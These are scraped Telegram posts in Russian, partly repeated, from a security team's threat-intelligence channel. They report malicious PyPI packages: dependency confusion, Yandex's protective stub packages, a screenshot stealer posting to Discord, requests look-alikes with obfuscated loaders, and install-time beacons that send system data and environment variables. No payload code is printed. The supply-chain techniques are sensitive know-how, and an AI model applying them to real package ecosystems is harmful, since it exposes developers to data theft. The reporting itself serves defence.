torchtriton, которая обычно подтягивалась из настроенного внутреннего репозитория. При этом установка пакета происходила через pip: вот и весь секрет киллчейна.yandex.bughunter забрал себе yandex-bot — аккаунт, который владеет 1279 пакетами с интересными названиями, такими как yandex-soc-services-sdk, yandex-cloud-ml-sdk-preview, yandex-infradev-tool... Во всех этих пакетах автором указан
Yandex <security@yandex-team.ru>. Описание гласит: A package to prevent Dependency Confusion attacks against Yandex, а сами пакеты вызывают исключение при попытке их поставить:
class InstallCommand(install):
def run(self):
raise RuntimeError("You are trying to install a stub package yandex-cloud-ml-sdk-preview. Maybe you are using the wrong pypi? See https://nda.ya.ru/t/GljG[REDACTED]zAGGz for details")
У нас нет подробностей того, как
yandex.bughunter узнал список пакетов внутренней кухни «Яндекса», но, похоже, что компания заметила это и начала договариваться с багхантером. Или потихоньку отжимает пакеты через администрацию PyPI To be continued...
#ti #pypi #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
❤15🔥13👾5🤯4✍2
Страсти опенсорса: часть вторая
Инфостилеры🧋
Ими уже никого не удивишь, ведь это популярный класс вредоносного программного обеспечения, часто упоминаемый в новостях. Большинство троянов крадут наши данные, но делают это без уважения. И тут разработчик
И выпустил пакет❌
1001 мимикрия под requests😵💫
Злоумышленники не перестают использовать кодовую базу популярной библиотеки requests для сокрытия своей вредоносной нагрузки. За эти две недели такое произошло в рамках пакетов🐶
Вредоносная нагрузка расположена в
Сезон отстуков🏖
В последнее время наблюдается особая популярность простеньких троянов-логгеров, единственная задача которых состоит в том, чтобы на этапе установки или импорта пакета отстучаться злоумышленнику, опционально утащив с собой информацию о системе, иногда еще и переменные окружения.
На скриншотах 4–7 представлены различные варианты реализации такого функционала: это пакеты
———
А вы знали про фичу pip с отсутствием приоритетов репозиториев? Надеемся, что вам было интересно👍
#ti #stealer #pypi #pyanalysis
@ptescalator
Инфостилеры
Ими уже никого не удивишь, ведь это популярный класс вредоносного программного обеспечения, часто упоминаемый в новостях. Большинство троянов крадут наши данные, но делают это без уважения. И тут разработчик
GeorgeTheMightyDev подумал: «А что, если...»И выпустил пакет
pojang-resorter, который благодарит вас за то, что вы установили его приложение, ведь вы даете ему возможность сделать скриншот и отправить его на сервер Discord (скриншот 1). В следующих версиях нагрузка будет упакована в PyInstaller, а код — обфусцирован, однако мы оценили изначальное благородство автора 1001 мимикрия под requests
Злоумышленники не перестают использовать кодовую базу популярной библиотеки requests для сокрытия своей вредоносной нагрузки. За эти две недели такое произошло в рамках пакетов
flophttp и invokehttp. Так как в обоих случаях автор подписал себя как Kiany Reeves, у нас нет сомнений, что это одна кампания Вредоносная нагрузка расположена в
__init__.py и представляет собой обфусцированный однострочник (скриншот 2). Учитывая, что автор задает для библиотек и методов такие алиасы, как borrow, blacktrone, pickachu, takihao (скриншот 3), становится понятно, что наш злоумышленник — человек культуры.Сезон отстуков
В последнее время наблюдается особая популярность простеньких троянов-логгеров, единственная задача которых состоит в том, чтобы на этапе установки или импорта пакета отстучаться злоумышленнику, опционально утащив с собой информацию о системе, иногда еще и переменные окружения.
На скриншотах 4–7 представлены различные варианты реализации такого функционала: это пакеты
artifact-lab-3-package-77d0c154, artifact-lab-3-package-89883da3, tiktok-session-lite-sdk.———
А вы знали про фичу pip с отсутствием приоритетов репозиториев? Надеемся, что вам было интересно
#ti #stealer #pypi #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14❤7💯7👍3👀2